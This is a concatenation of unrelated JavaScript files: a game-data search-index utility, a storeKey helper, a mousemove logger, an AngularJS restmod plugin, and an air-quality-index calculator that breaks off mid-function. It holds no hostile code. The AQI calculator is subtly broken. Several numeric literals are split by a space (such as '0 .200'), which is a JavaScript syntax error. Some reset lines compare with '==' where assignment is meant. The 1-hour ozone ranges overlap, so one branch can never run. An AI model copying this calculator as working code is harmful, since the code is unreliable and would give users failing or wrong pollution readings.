return UtilSearchIndex._getIndex({}, doLogging, noFilter);
}
static getIndexAlternate (forProp, doLogging = true, noFilter = false) {
const opts = {alternate: forProp};
return UtilSearchIndex._getIndex(opts, doLogging, noFilter);
}
static _getIndex (opts, doLogging = true, noFilter = false) {
const indexer = new od.Omnidexer();
// Index entities from directories, e.g. creatures and spells
od.Omnidexer.TO_INDEX__FROM_INDEX_JSON
.filter(indexMeta => opts.alternate ? indexMeta.alternateIndexes && indexMeta.alternateIndexes[opts.alternate] : true)
.forEach(indexMeta => {
const dataIndex = require(`../data/${indexMeta.dir}/index.json`);
Object.entries(dataIndex)
.sort(([kA], [kB]) => UtilSearchIndex._sortSources(kA, kB))
.forEach(([_, filename]) => {
const filePath = `../data/${indexMeta.dir}/${filename}`;
const contents = require(filePath);
if (doLogging) console.log(`indexing ${filePath}`);
const optsNxt = {isNoFilter: noFilter};
if (opts.alternate) optsNxt.alt = indexMeta.alternateIndexes[opts.alternate];
indexer.addToIndex(indexMeta, contents, optsNxt);
})
});
// Index entities from single files
od.Omnidexer.TO_INDEX
.filter(indexMeta => opts.alternate ? indexMeta.alternateIndexes && indexMeta.alternateIndexes[opts.alternate] : true)
.map(async indexMeta => {
const filePath = `../data/${indexMeta.file}`;
const data = require(filePath);
if (indexMeta.postLoad) indexMeta.postLoad(data);
if (doLogging) console.log(`indexing ${filePath}`);
Object.values(data)
.filter(it => it instanceof Array)
.forEach(it => it.sort((a, b) => UtilSearchIndex._sortSources(a.source || MiscUtil.get(a, "inherits", "source"), b.source || MiscUtil.get(b, "inherits", "source")) || SortUtil.ascSortLower(a.name || MiscUtil.get(a, "inherits", "name") || "", b.name || MiscUtil.get(b, "inherits", "name") || "")));
const optsNxt = {isNoFilter: noFilter};
if (opts.alternate) optsNxt.alt = indexMeta.alternateIndexes[opts.alternate];
indexer.addToIndex(indexMeta, data, optsNxt);
})
return indexer.getIndex();
}
// this should be generalised if further specific indexes are required
static async pGetIndexAdditionalItem (baseIndex = 0, doLogging = true) {
const indexer = new od.Omnidexer(baseIndex);
await Promise.all(od.Omnidexer.TO_INDEX.filter(it => it.category === Parser.CAT_ID_ITEM).map(async ti => {
const filename = `../data/${ti.file}`;
const data = require(filename);
if (ti.postLoad) ti.postLoad(data);
if (ti.additionalIndexes && ti.additionalIndexes.item) {
if (doLogging) console.log(`indexing ${filename}`);
const extra = await ti.additionalIndexes.item(indexer, data);
extra.forEach(add => indexer.pushToIndex(add));
}
}));
return indexer.getIndex();
}
}
UtilSearchIndex.CORE_SOURCES = new Set([SRC_PHB, SRC_MM, SRC_DMG, SRC_VGM, SRC_MTF, SRC_XGE, SRC_SCAG]);
module.exports = {UtilSearchIndex};
|
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
var Utilities_1 = require("../Utilities");
/**
* Store keys are a very simple abstraction that maps a string name to an interface type.
* The enables a type-safe contract for store dependencies when you connect dumb components
* to stores.
*
* @example
* let selectionKey = storeKey<ISelection>('selection');
*
* let stores = new StoreSet()
* .add(selectionKey, new Selection());
*
* <StoreHost stores={ stores }>
* ...
* </StoreHost>
*
* connect(DumbComponent, [ selectionKey ], (props, selection) => ({
* isSelected: selection.getSelected(props.item.key)
* });
*
* Note that the "selection" reference in the connect callback would be of type ISelection due
* to the selectionKey reference, and you will get TypeScript errors by referring to selection
* member that aren't in that interface.
*/
exports.storeKey = function (name) { return ({ name: name, id: Utilities_1.getId(name) }); };
//# sourceMappingURL=storeKey.js.map
|
window.addEventListener("mousemove", function(eventData){
console.log("mouse motion");
})
|
/**
* API Bound Models for AngularJS
* @version v1.1.11 - 2015-10-26
* @link https://github.com/angular-platanus/restmod
* @author Ignacio Baixas <ignacio@platan.us>
* @license MIT License, http://www.opensource.org/licenses/MIT
*/
(function(angular, undefined) {
'use strict';
/**
* @mixin FindMany
*
* @description
*
* Adds the `Scope.$populate` method that enables multiple record resolving using one request.
*
* This plugin requires special api support for multiple id requests.
*/
angular.module('restmod').factory('restmod.FindMany', ['restmod', 'RMPackerCache', 'inflector', function(restmod, packerCache, inflector) {
return restmod.mixin(function() {
/**
* @method $findManyUrl
* @memberOf FindMany
*
* @description Provides the url for a findMany/populate operation.
*/
this.define('Scope.$findManyUrl', function(_resource) {
return this.$fetchManyUrl ? this.$fetchManyUrl(_resource) : this.$url(_resource);
})
/**
* @method $populate
* @memberOf FindMany
*
* @description Resolves a series of records using a single api call.
*
* By default, this method uses the same url used by `collection.$fetch`. To provide a different url
* then override the `Scope.$findManyUrl` function.
*
* By default this method uses the pluralized variat of the primary key for the query parameter holding
* the ids. You can override this parameter by setting the `findManyKey` configuration var.
*
* This method triggers the `before-find-many` event before sending the server request.
*
* Usage:
*
* ```javascript
* var bikes = [
* Bike.$new(1),
* Bike.$new(2),
* Bike.$new(3)
* ];
*
* Bike.$populate(bikes).$then(function() {
* // populate returns a fully fledged resource!
* alert('Ready!');
* })
* ```
*
* @param {array} _records Records to resolve.
* @return {Resource} Resource holding the populate promise.
*/
.define('Scope.$populate', function(_records, _params) {
// Extract record pks for non resolved records and build a record map
var pks = [],
recordMap = {},
params = _params || {},
model = this.$type,
dummy = model.dummy(true),
record, request;
for(var i = 0; i < _records.length; i++) {
record = _records[i];
if(!record.$resolved) {
if(recordMap[record.$pk]) {
recordMap[record.$pk].push(record);
} else {
recordMap[record.$pk] = [record];
pks.push(record.$pk);
}
}
}
if(pks.length === 0) return dummy;
// build request
params[model.getProperty('findManyKey', inflector.pluralize(model.getProperty('primaryKey')))] = pks;
request = {
url: (this.$scope || this).$findManyUrl(this),
method: 'GET',
params: params
};
// allow user to modify request on hook
dummy.$dispatch('before-find-many', [request]);
// Execute request to fetch for required records
return model.dummy(true).$send(request, function(_response) {
try {
packerCache.prepare();
var raw = model.unpack(this, _response.data), pk, records;
// load raw data into records
for(var i = 0; i < raw.length; i++) {
pk = model.inferKey(raw[i]);
records = recordMap[pk];
if(records) {
for(var j = 0; j < records.length; j++) {
if(!records[j].$resolved) records[j].$decode(raw[i]);
}
}
}
} finally {
packerCache.clear();
}
});
});
});
}]);})(angular);
|
function Linear(AQIhigh, AQIlow, Conchigh, Conclow, Concentration) {
let linear;
let Conc = parseFloat(Concentration);
let a;
a = ((Conc - Conclow) / (Conchigh - Conclow)) * (AQIhigh - AQIlow) + AQIlow;
linear = Math.round(a);
return linear;
}
function AQIPM25(Concentration) {
let Conc = parseFloat(Concentration);
let c;
let AQI;
c = (Math.floor(10 * Conc)) / 10;
if (c >= 0 && c < 12.1) {
AQI = Linear(50, 0, 12, 0, c);
} else if (c >= 12.1 && c < 35.5) {
AQI = Linear(100, 51, 35.4, 12.1, c);
} else if (c >= 35.5 && c < 55.5) {
AQI = Linear(150, 101, 55.4, 35.5, c);
} else if (c >= 55.5 && c < 150.5) {
AQI = Linear(200, 151, 150.4, 55.5, c);
} else if (c >= 150.5 && c < 250.5) {
AQI = Linear(300, 201, 250.4, 150.5, c);
} else if (c >= 250.5 && c < 350.5) {
AQI = Linear(400, 301, 350.4, 250.5, c);
} else if (c >= 350.5 && c < 500.5) {
AQI = Linear(500, 401, 500.4, 350.5, c);
} else {
AQI = 'PM25message';
}
return AQI;
}
// line63
function AQIPM10(Concentration) {
let Conc = parseFloat(Concentration);
let c;
let AQI;
c = Math.floor(Conc);
if (c >= 0 && c < 55) {
AQI = Linear(50, 0, 54, 0, c);
} else if (c >= 55 && c < 155) {
AQI = Linear(100, 51, 154, 55, c);
} else if (c >= 155 && c < 255) {
AQI = Linear(150, 101, 254, 155, c);
} else if (c >= 255 && c < 355) {
AQI = Linear(200, 151, 354, 255, c);
} else if (c >= 355 && c < 425) {
AQI = Linear(300, 201, 424, 355, c);
} else if (c >= 425 && c < 505) {
AQI = Linear(400, 301, 504, 425, c);
} else if (c >= 505 && c < 605) {
AQI = Linear(500, 401, 604, 505, c);
} else {
AQI = 'PM10message';
}
return AQI;
}
// line104
function AQICO(Concentration) {
let Conc = parseFloat(Concentration);
let c;
let AQI;
c = (Math.floor(10 * Conc)) / 10;
if (c >= 0 && c < 4.5) {
AQI = Linear(50, 0, 4.4, 0, c);
} else if (c >= 4.5 && c < 9.5) {
AQI = Linear(100, 51, 9.4, 4.5, c);
} else if (c >= 9.5 && c < 12.5) {
AQI = Linear(150, 101, 12.4, 9.5, c);
} else if (c >= 12.5 && c < 15.5) {
AQI = Linear(200, 151, 15.4, 12.5, c);
} else if (c >= 15.5 && c < 30.5) {
AQI = Linear(300, 201, 30.4, 15.5, c);
} else if (c >= 30.5 && c < 40.5) {
AQI = Linear(400, 301, 40.4, 30.5, c);
} else if (c >= 40.5 && c < 50.5) {
AQI = Linear(500, 401, 50.4, 40.5, c);
} else {
AQI = 'Out of Range';
}
return AQI;
}
// line145
function AQISO21hr(Concentration) {
let Conc = parseFloat(Concentration);
let c;
let AQI;
c = Math.floor(Conc);
if (c >= 0 && c < 36) {
AQI = Linear(50, 0, 35, 0, c);
} else if (c >= 36 && c < 76) {
AQI = Linear(100, 51, 75, 36, c);
} else if (c >= 76 && c < 186) {
AQI = Linear(150, 101, 185, 76, c);
} else if (c >= 186 && c <= 304) {
AQI = Linear(200, 151, 304, 186, c);
} else if (c >= 304 && c <= 604) {
AQI = 'SO21hrmessage';
} else {
AQI = 'Out of Range';
}
return AQI;
}
function AQISO224hr(Concentration) {
let Conc = parseFloat(Concentration);
let c;
let AQI;
c = Math.floor(Conc);
if (c >= 0 && c <= 304) {
AQI = 'SO224hrmessage';
} else if (c >= 304 && c < 605) {
AQI = Linear(300, 201, 604, 305, c);
} else if (c >= 605 && c < 805) {
AQI = Linear(400, 301, 804, 605, c);
} else if (c >= 805 && c <= 1004) {
AQI = Linear(500, 401, 1004, 805, c);
} else {
AQI = 'Out of Range';
}
return AQI;
}
// line186
function AQIOzone8hr(Concentration) {
let Conc = parseFloat(Concentration);
let c;
let AQI;
c = (Math.floor(Conc)) / 1000;
if (c >= 0 && c < 0.055) {
AQI = Linear(50, 0, 0.054, 0, c);
} else if (c >= 0.055 && c < 0.071) {
AQI = Linear(100, 51, 0.070, 0.055, c);
} else if (c >= 0.071 && c < 0.086) {
AQI = Linear(150, 101, 0.085, 0.071, c);
} else if (c >= 0.086 && c < 0.106) {
AQI = Linear(200, 151, 0.105, 0.086, c);
} else if (c >= 0.106 && c < 0.201) {
AQI = Linear(300, 201, 0 .200, 0.106, c);
} else if (c >= 0.201 && c < 0.605) {
AQI = 'O3message';
} else {
AQI = 'Out of Range';
}
return AQI;
}
// line219
function AQIOzone1hr(Concentration) {
let Conc = parseFloat(Concentration);
let c;
let AQI;
c = (Math.floor(Conc)) / 1000;
if (c >= 0 && c <= 0.165) {
AQI = 'O31hrmessage';
} else if (c >= 0.125 && c < 0.165) {
AQI = Linear(150, 101, 0 .164, 0.125, c);
} else if (c >= 0.165 && c < 0.205) {
AQI = Linear(200, 151, 0 .204, 0.165, c);
} else if (c >= 0.205 && c < 0.405) {
AQI = Linear(300, 201, 0 .404, 0 .205, c);
} else if (c >= 0.405 && c < 0.505) {
AQI = Linear(400, 301, 0 .504, 0.405, c);
} else if (c >= 0.505 && c < 0.605) {
AQI = Linear(500, 401, 0.604, 0.505, c);
} else {
AQI = 'Out of Range';
}
return AQI;
}
function AQINO2(Concentration) {
let Conc = parseFloat(Concentration);
let c;
let AQI;
c = (Math.floor(Conc)) / 1000;
if (c >= 0 && c < 0.054) {
AQI = Linear(50, 0, 0 .053, 0, c);
} else if (c >= 0.054 && c < 0.101) {
AQI = Linear(100, 51, 0 .100, 0.054, c);
} else if (c >= 0.101 && c < 0.361) {
AQI = Linear(150, 101, 0.360, 0.101, c);
} else if (c >= 0.361 && c < 0.650) {
AQI = Linear(200, 151, 0 .649, 0 .361, c);
} else if (c >= 0.650 && c < 1.250) {
AQI = Linear(300, 201, 1.249, 0 .650, c);
} else if (c >= 1.250 && c < 1.650) {
AQI = Linear(400, 301, 1.649, 1.250, c);
} else if (c >= 1.650 && c <= 2.049) {
AQI = Linear(500, 401, 2.049, 1.650, c);
} else {
AQI = 'Out of Range';
}
return AQI;
}
function AQICategory(AQIndex) {
let AQI = parseFloat(AQIndex);
let AQICategory;
if (AQI <= 50) {
AQICategory = 'Good';
} else if (AQI > 50 && AQI <= 100) {
AQICategory = 'Moderate';
} else if (AQI > 100 && AQI <= 150) {
AQICategory = 'Unhealthy for Sensitive Groups';
} else if (AQI > 150 && AQI <= 200) {
AQICategory = 'Unhealthy';
} else if (AQI > 200 && AQI <= 300) {
AQICategory = 'Very Unhealthy';
} else if (AQI > 300 && AQI <= 400) {
AQICategory = 'Hazardous';
} else if (AQI > 400 && AQI <= 500) {
AQICategory = 'Hazardous';
} else {
AQICategory = 'Out of Range';
}
return AQICategory;
}
// 316
function ClearColorC() {
document.form2.outputbox3.style.backgroundColor = 'white';
}
function UnitDetermin(form) {
// var form
document.form2.txtunit.style.textAlign = 'center';
document.form2.outputbox3.style.backgroundColor = 'white';
document.form2.inputbox.value = '';
document.form2.outputbox1.value = '';
document.form2.outputbox3.value = '';
document.form2.TextSensitive.value = '';
document.form2.HealthEffects.value = '';
document.form2.Cautionary.value = '';
if (document.form2.pollutant.selectedIndex == '1' || document.form2.pollutant.selectedIndex == '2') {
document.form2.txtunit.value = 'ug/m3';
} else if (document.form2.pollutant.selectedIndex == '3') {
document.form2.txtunit.value = 'ppm';
} else if (document.form2.pollutant.selectedIndex == '4' || document.form2.pollutant.selectedIndex == '5' || document.form2.pollutant.selectedIndex == '6' || form.pollutant.selectedIndex == '7' || form.pollutant.selectedIndex == '8') {
document.form2.txtunit.value = 'ppb';
}
return true;
}
function CalcAQI(form) {
let b;
document.form2.inputbox.style.textAlign = 'center';
document.form2.inputbox.style.backgroundColor = 'white';
let f;
f = document.form2.inputbox.value;
f = f.replace(/\,/, '');
if (document.form2.pollutant.selectedIndex == '0') {
alert('You have not selected a pollutant.');
}
if (document.form2.pollutant.selectedIndex == '1') {
b = AQIPM25(f);
} else if (document.form2.pollutant.selectedIndex == '2') {
b = AQIPM10(f);
} else if (document.form2.pollutant.selectedIndex == '3') {
b = AQICO(f);
} else if (document.form2.pollutant.selectedIndex == '4') {
b = AQISO21hr(f);
} else if (document.form2.pollutant.selectedIndex == '5') {
b = AQISO224hr(f);
} else if (document.form2.pollutant.selectedIndex == '6') {
b = AQIOzone8hr(f);
} else if (document.form2.pollutant.selectedIndex == '7') {
b = AQIOzone1hr(f);
} else if (document.form2.pollutant.selectedIndex == '8') {
b = AQINO2(f);
}
if (b == 'Out of Range') {
let myWindowOofR = window.open('', '', 'width=450,height=75,left=450,menubar=no,top=200');
myWindowOofR.document.write('<p>Note: Values above 500 are considered Beyond the AQI. Follow recommendations for the Hazardous category</p>');
document.form2.inputbox.value = ' ';
document.form2.outputbox1.value = ' ';
document.form2.outputbox3.value = ' ';
document.form2.TextSensitive.value = '';
document.form2.HealthEffects.value = '';
document.form2.Cautionary.value = '';
} else if (b == 'SO21hrmessage') {
let myWindowSO1 = window.open('', '', 'width=450,height=75,left=450,menubar=no,top=200');
myWindowSO1.document.write('<p>AQI values of 201 or greater are calculated with 24-hour SO2 concentrations.</p>');
document.form2.inputbox.value = ' ';
document.form2.outputbox1.value = ' ';
document.form2.outputbox3.value = ' ';
document.form2.TextSensitive.value = '';
document.form2.HealthEffects.value = '';
document.form2.Cautionary.value = '';
} else if (b == 'SO224hrmessage') {
let myWindowSO24 = window.open('', '', 'width=450,height=75,left=450,menubar=no,top=200');
myWindowSO24.document.write('<p>AQI values less than 201 are calculated with 1-hour SO2 concentrations.</p>');
document.form2.inputbox.value = ' ';
document.form2.outputbox1.value = ' ';
document.form2.outputbox3.value = ' ';
document.form2.TextSensitive.value = '';
document.form2.HealthEffects.value = '';
document.form2.Cautionary.value = '';
} else if (b == 'O3message') {
var myWindowo3 = window.open('', '', 'width=450,height=75,left=450,menubar=no,top=200');
myWindowo3.document.write('<p>8-hour ozone values do not define higher AQI values (>=301).</p><p> AQI values of 301 or greater are calculated with 1-hour ozone concentrations.</p>');
document.form2.inputbox.value == '';
document.form2.outputbox1.value == '';
document.form2.outputbox3.value == '';
document.form2.TextSensitive.value == '';
document.form2.HealthEffects.value == '';
document.form2.Cautionary.value == '';
} else if (b == 'O31hrmessage') {
var myWindowo3 = window.open('', '', 'width=450,height=75,left=450,menubar=no,top=200');
myWindowo3.document.write('<p>1-hour ozone values do not define lower AQI values (<= 100). AQI values of 100 or lower are calculated with 8-hour ozone concentrations.</p>');
document.form2.inputbox.value == '';
document.form2.outputbox1.value == '';
document.form2.outputbox3.value == '';
document.form2.TextSensitive.value == '';
document.form2.HealthEffects.value == '';
document.form2.Cautionary.value == '';
} else if (b == 'PM25message') {
var myWindowPM = window.open('', '', 'width=450,height=75,left=450,menubar=no,top=200');
myWindowPM.document.write("<p>Note: Values above 500 are considered Beyond the AQI.</p><p>Additional information on reducing exposure to extremely high levels of particle pollution is available <a href='https://airnow.gov/index.cfm?action=aqibasics.pmhilevels'target='_blank'>here</a>.</p>");
document.form2.inputbox.value == '';
document.form2.outputbox1.value == '';
document.form2.outputbox3.value == '';
document.form2.TextSensitive.value == '';
document.form2.HealthEffects.value == '';
document.form2.Cautionary.value == '';
} else if (b == 'PM10message') {
var myWindowPM = window.open('', '', 'width=450,height=75,left=450,menubar=no,top=200');
myWindowPM.document.write('<p>Note: Values above 500 are considered Beyond the AQI. Follow recommendations for the Hazardous category.</p>');
document.form2.inputbox.value == '';
document.form2.outputbox1.value == '';
document.form2.outputbox3.value == '';
document.form2.TextSensitive.value == '';
document.form2.HealthEffects.value == '';
document.form2.Cautionary.value == '';
} else {
document.form2.outputbox1.value = b;
document.form2.outputbox3.value = AQICategory(b);
}
document.form2.outputbox1.style.textAlign = 'center';
document.form2.outputbox3.style.textAlign = 'center';
document.form2.TextSensitive.style.textAlign = 'center';
document.form2.HealthEffects.style.textAlign = 'center';
document.form2.Cautionary.style.textAlign = 'center';
if (document.form2.outputbox3.value == 'Good') {
document.form2.outputbox3.style.backgroundColor = '#00e000';
document.form2.outputbox3.style.color = 'black';
document.form2.HealthEffects.value = 'None';
document.form2.Cautionary.value = 'None';
if (document.form2.pollutant.selectedIndex == '1') {
document.form2.TextSensitive.value = 'People with respiratory or heart disease, the elderly and children are the groups most at risk.';
} else if (document.form2.pollutant.selectedIndex == '2') {
document.form2.TextSensitive.value = 'People with respiratory disease are the group most at risk.';
} else if (document.form2.pollutant.selectedIndex == '3') {
document.form2.TextSensitive.value = 'People with heart disease are the group most at risk.';
} else if (document.form2.pollutant.selectedIndex == '4' || form.pollutant.selectedIndex == '5') {
document.form2.TextSensitive.value = 'People with asthma are the group most at risk.';
} else if (document.form2.pollutant.selectedIndex == '6' || form.pollutant.selectedIndex == '7') {
document.form2.TextSensitive.value = 'Children and people with asthma are the groups most at risk.';
} else if (document.form2.pollutant.selectedIndex == '8') {
document.form2.TextSensitive.value = 'People with asthma or other respiratory diseases, the elderly, and children are the groups most at risk.';
}
} else if (document.form2.outputbox3.value == 'Moderate') {
document.form2.outputbox3.style.backgroundColor = '#ffff00';
document.form2.outputbox3.style.color = 'black';
if (document.form2.pollutant.selectedIndex == '1') {
document.form2.TextSensitive.value = 'People with respiratory or heart disease, the elderly and children are the groups most at risk.';
document.form2.HealthEffects.value = 'Unusually sensitive people should consider reducing prolonged or heavy exertion.';
document.form2.Cautionary.value = 'Unusually sensitive people should consider reducing prolonged or heavy exertion.';
} else if (document.form2.pollutant.selectedIndex == '2') {
document.form2.TextSensitive.value = 'People with respiratory disease are the group most at risk.';
document.form2.HealthEffects.value = 'Unusually sensitive people should consider reducing prolonged or heavy exertion.';
document.form2.Cautionary.value = 'Unusually sensitive people should consider reducing prolonged or heavy exertion.';
} else if (document.form2.pollutant.selectedIndex == '3') {
document.form2.TextSensitive.value = 'People with heart disease are the group most at risk.';
document.form2.HealthEffects.value = 'None';
document.form2.Cautionary.value = 'None';
} else if (document.form2.pollutant.selectedIndex == '4' || form.pollutant.selectedIndex == '5') {
document.form2.TextSensitive.value = 'People with asthma are the group most at risk.';
document.form2.HealthEffects.value = 'None';
document.form2.Cautionary.value = 'None';
} else if (document.form2.pollutant.selectedIndex == '6' || form.pollutant.selectedIndex == '7') {
document.form2.TextSensitive.value = 'Children and people with asthma are the groups most at risk.';
if (document.form2.pollutant.selectedIndex == '6') {
document.form2.HealthEffects.value = 'Unusually sensitive individuals may experience respiratory symptoms.';
document.form2.Cautionary.value = 'Unusually sensitive people should consider limiting prolonged outdoor exertion.';
}
} else if (document.form2.pollutant.selectedIndex == '8') {
document.form2.TextSensitive.value = 'People with asthma or other respiratory diseases, the elderly, and children are the groups most at risk.';
document.form2.HealthEffects.value = 'Unusually sensitive individuals may experience respiratory symptoms.';
document.form2.Cautionary.value = 'Unusually sensitive people should consider reducing prolonged or heavy outdoor exertion.';
}
} else if (document.form2.outputbox3.value == 'Unhealthy for Sensitive Groups') {
document.form2.outputbox3.style.backgroundColor = '#ff7600';
document.form2.outputbox3.style.color = 'black';
if (document.form2.pollutant.selectedIndex == '1') {
document.form2.TextSensitive.value = 'People with respiratory or heart disease, the elderly and children are the groups most at risk.';
document.form2.HealthEffects.value = 'Increasing likelihood of respiratory symptoms in sensitive individuals, aggravation of heart or lung disease and premature mortality in persons with cardiopulmonary disease and the elderly.';
document.form2.Cautionary.value = 'People with respiratory or heart disease, the elderly and children should limit prolonged exertion.';
} else if (document.form2.pollutant.selectedIndex == '2') {
document.form2.TextSensitive.value = 'People with respiratory disease are the group most at risk.';
document.form2.HealthEffects.value = 'Increasing likelihood of respiratory symptoms and aggravation of lung disease, such as asthma.';
document.form2.Cautionary.value = 'People with respiratory disease, such as asthma, should limit outdoor exertion.';
} else if (document.form2.pollutant.selectedIndex == '3') {
document.form2.TextSensitive.value = 'People with heart disease are the group most at risk.';
document.form2.HealthEffects.value = 'Increasing likelihood of reduced exercise tolerance due to increased cardiovascular symptoms, such as chest pain, in people with cardiovascular disease.';
document.form2.Cautionary.value = 'People with cardiovascular disease, such as angina, should limit heavy exertion and avoid sources of CO, such as heavy traffic.';
} else if (document.form2.pollutant.selectedIndex == '4' || form.pollutant.selectedIndex == '5') {
document.form2.TextSensitive.value = 'People with asthma are the group most at risk.';
document.form2.HealthEffects.value = 'Increasing likelihood of respiratory symptoms, such as chest tightness and breathing discomfort, in people with asthma.';
document.form2.Cautionary.value = 'People with asthma should consider limiting outdoor exertion.';
} else if (document.form2.pollutant.selectedIndex == '6' || form.pollutant.selectedIndex == '7') {
document.form2.HealthEffects.value = 'Increasing likelihood of respiratory symptoms and breathing discomfort in active children and adults and people with respiratory disease, such as asthma.';
document.form2.TextSensitive.value = 'Children and people with asthma are the groups most at risk.';
if (document.form2.pollutant.selectedIndex == '6') {
document.form2.Cautionary.value = 'Active children and adults, and people with respiratory disease, such as asthma, should limit prolonged outdoor exertion.';
} else if (document.form2.pollutant.selectedIndex == '7') {
document.form2.Cautionary.value = 'Active children and adults, and people with respiratory disease, such as asthma, should limit heavy outdoor exertion.';
}
} else if (document.form2.pollutant.selectedIndex == '8') {
document.form2.TextSensitive.value = 'People with asthma or other respiratory diseases, the elderly, and children are the groups most at risk.';
document.form2.HealthEffects.value = 'Increasing likelihood of respiratory symptoms and breathing discomfort in active children, the elderly, and people with lung disease, such as asthma.';
document.form2.Cautionary.value = 'Active children, the elderly, and people with lung disease, such as asthma, should reduce prolonged or heavy outdoor exertion.';
}
} else if (document.form2.outputbox3.value == 'Unhealthy') {
document.form2.outputbox3.style.backgroundColor = '#ff0000';
document.form2.outputbox3.style.color = 'black';
if (document.form2.pollutant.selectedIndex == '1') {
document.form2.TextSensitive.value = 'People with respiratory or heart disease, the elderly and children are the groups most at risk.';
document.form2.HealthEffects.value = 'Increased aggravation of heart or lung disease and premature mortality in persons with cardiopulmonary disease and the elderly; increased respiratory effects in general population.';
document.form2.Cautionary.value = 'People with respiratory or heart disease, the elderly and children should avoid prolonged exertion; everyone else should limit prolonged exertion.';
} else if (document.form2.pollutant.selectedIndex == '2') {
document.form2.TextSensitive.value = 'People with respiratory disease are the group most at risk.';
document.form2.HealthEffects.value = 'Increased respiratory symptoms and aggravation of lung disease, such as asthma; possible respiratory effects in general population.';
document.form2.Cautionary.value = ' ';
} else if (document.form2.pollutant.selectedIndex == '3') {
document.form2.TextSensitive.value = 'People with heart disease are the group most at risk.';
document.form2.HealthEffects.value = 'Reduced exercise tolerance due to increased cardiovascular symptoms, such as chest pain, in people with cardiovascular disease.';
document.form2.Cautionary.value = 'People with cardiovascular disease, such as angina, should limit moderate exertion and avoid sources of CO, such as heavy traffic.';
} else if (document.form2.pollutant.selectedIndex == '4' || form.pollutant.selectedIndex == '5') {
document.form2.TextSensitive.value = 'People with asthma are the group most at risk.';
document.form2.HealthEffects.value = 'Increased respiratory symptoms, such as chest tightness and wheezing in people with asthma; possible aggravation of heart or lung disease.';
document.form2.Cautionary.value = 'Children, asthmatics, and people with heart or lung disease should limit outdoor exertion.';
} else if (document.form2.pollutant.selectedIndex == '6' || form.pollutant.selectedIndex == '7') {
document.form2.TextSensitive.value = 'Children and people with asthma are the groups most at risk.';
document.form2.HealthEffects.value = 'Greater likelihood of respiratory symptoms and breathing difficulty in active children and adults and people with respiratory disease, such as asthma; possible respiratory effects in general population.';
if (document.form2.pollutant.selectedIndex == '6') {
document.form2.Cautionary.value = 'Active children and adults, and people with respiratory disease, such as asthma, should avoid prolonged outdoor exertion; everyone else, especially children, should limit prolonged outdoor exertion.';
} else if (document.form2.pollutant.selectedIndex == '7') {
document.form2.Cautionary.value = 'Active children and adults, and people with respiratory disease, such as asthma, should avoid heavy outdoor exertion; everyone else, especially children, should limit heavy outdoor exertion.';
}
} else if (document.form2.pollutant.selectedIndex == '8') {
document.form2.TextSensitive.value = 'People with asthma or other respiratory diseases, the elderly, and children are the groups most at risk.';
document.form2.HealthEffects.value = 'Greater likelihood of respiratory symptoms in active children, the elderly, and people with lung disease, such as asthma; possible respiratory effects in general population.';
document.form2.Cautionary.value = 'Active children, the elderly, and people with lung disease, such as asthma, should avoid prolonged or heavy outdoor exertion; everyone else, expecially children, should reduce prolonged or heavy outdoor exertion.';
}
} else if (document.form2.outputbox3.value == 'Very Unhealthy') {
document.form2.outputbox3.style.backgroundColor = '#990049';
document.form2.outputbox3.style.color = '#ffffff';
if (document.form2.pollutant.selectedIndex == '1') {
document.form2.TextSensitive.value = 'People with respiratory or heart disease, the elderly and children are the groups most at risk.';
document.form2.HealthEffects.value = 'Significant aggravation of heart or lung disease and premature mortality in persons with cardiopulmonary disease and the elderly; significant increase in respiratory effects in general population.';
document.form2.Cautionary.value = 'People with respiratory or heart disease, the elderly and children should avoid any outdoor activity; everyone else should avoid prolonged exertion.';
} else if (document.form2.pollutant.selectedIndex == '2') {
document.form2.TextSensitive.value = 'People with respiratory disease are the group most at risk.';
document.form2.HealthEffects.value = 'Significant increase in respiratory symptoms and aggravation of lung disease, such as asthma; increasing likelihood of respiratory effects in general population.';
document.form2.Cautionary.value = 'People with respiratory disease, such as asthma, should avoid any outdoor activity; everyone else, especially the elderly and children, should limit outdoor exertion.';
} else if (document.form2.pollutant.selectedIndex == '3') {
document.form2.TextSensitive.value = 'People with heart disease are the group most at risk.';
document.form2.HealthEffects.value = 'Significant aggravation of cardiovascular symptoms, such as chest pain, in people with cardiovascular disease.';
document.form2.Cautionary.value = 'People with cardiovascular disease, such as angina, should avoid exertion and sources of CO, such as heavy traffic.';
} else if (document.form2.pollutant.selectedIndex == '4' || form.pollutant.selectedIndex == '5') {
document.form2.TextSensitive.value = 'People with asthma are the group most at risk.';
document.form2.HealthEffects.value = 'Significant increase in respiratory symptoms, such as wheezing and shortness of breath, in people with asthma; aggravation of heart or lung disease.';
document.form2.Cautionary.value = 'Children, asthmatics, and people with heart or lung disease should avoid outdoor exertion; everyone else should limit outdoor exertion.';
} else if (document.form2.pollutant.selectedIndex == '6' || document.form2.pollutant.selectedIndex == '7') {
document.form2.TextSensitive.value = 'Children and people with asthma are the groups most at risk.';
document.form2.HealthEffects.value = 'Increasingly severe symptoms and impaired breathing likely in active children and adults and people with respiratory disease, such as asthma; increasing likelihood of respiratory effects in general population.';
document.form2.Cautionary.value = 'Active children and adults, and people with respiratory disease, such as asthma, should avoid all outdoor exertion; everyone else, especially children, should limit outdoor exertion.';
} else if (document.form2.pollutant.selectedIndex == '8') {
document.form2.TextSensitive.value = 'People with asthma or other respiratory diseases, the elderly, and children are the groups most at risk.';
document.form2.HealthEffects.value = 'Increasingly severe symptoms and impaired breathing likely in active children, the elderly, and people with lung disease, such as asthma; increasing likelihood of respiratory effects in general population.';
document.form2.Cautionary.value = 'Active children, the elderly, and people with lung disease, such as asthma, should avoid all outdoor exertion; everyone else, especially children, should avoid prolonged or heavy outdoor exertion.';
}
} else if (document.form2.outputbox3.value == 'Hazardous') {
document.form2.outputbox3.style.backgroundColor = '#7E0023';
document.form2.outputbox3.style.color = '#ffffff';
if (document.form2.pollutant.selectedIndex == '1') {
document.form2.TextSensitive.value = 'People with respiratory or heart disease, the elderly and children are the groups most at risk.';
document.form2.HealthEffects.value = 'Serious aggravation of heart or lung disease and premature mortality in persons with cardiopulmonary disease and the elderly; serious risk of respiratory effects in general population.';
document.form2.Cautionary.value = 'Everyone should avoid any outdoor exertion; people with respiratory or heart disease, the elderly and children should remain indoors.';
} else if (document.form2.pollutant.selectedIndex == '2') {
document.form2.TextSensitive.value = 'People with respiratory disease are the group most at risk.';
document.form2.HealthEffects.value = 'Serious risk of respiratory symptoms and aggravation of lung disease, such as asthma; respiratory effects likely in general population.';
document.form2.Cautionary.value = 'Everyone should avoid any outdoor exertion; people with respiratory disease, such as asthma, should remain indoors.';
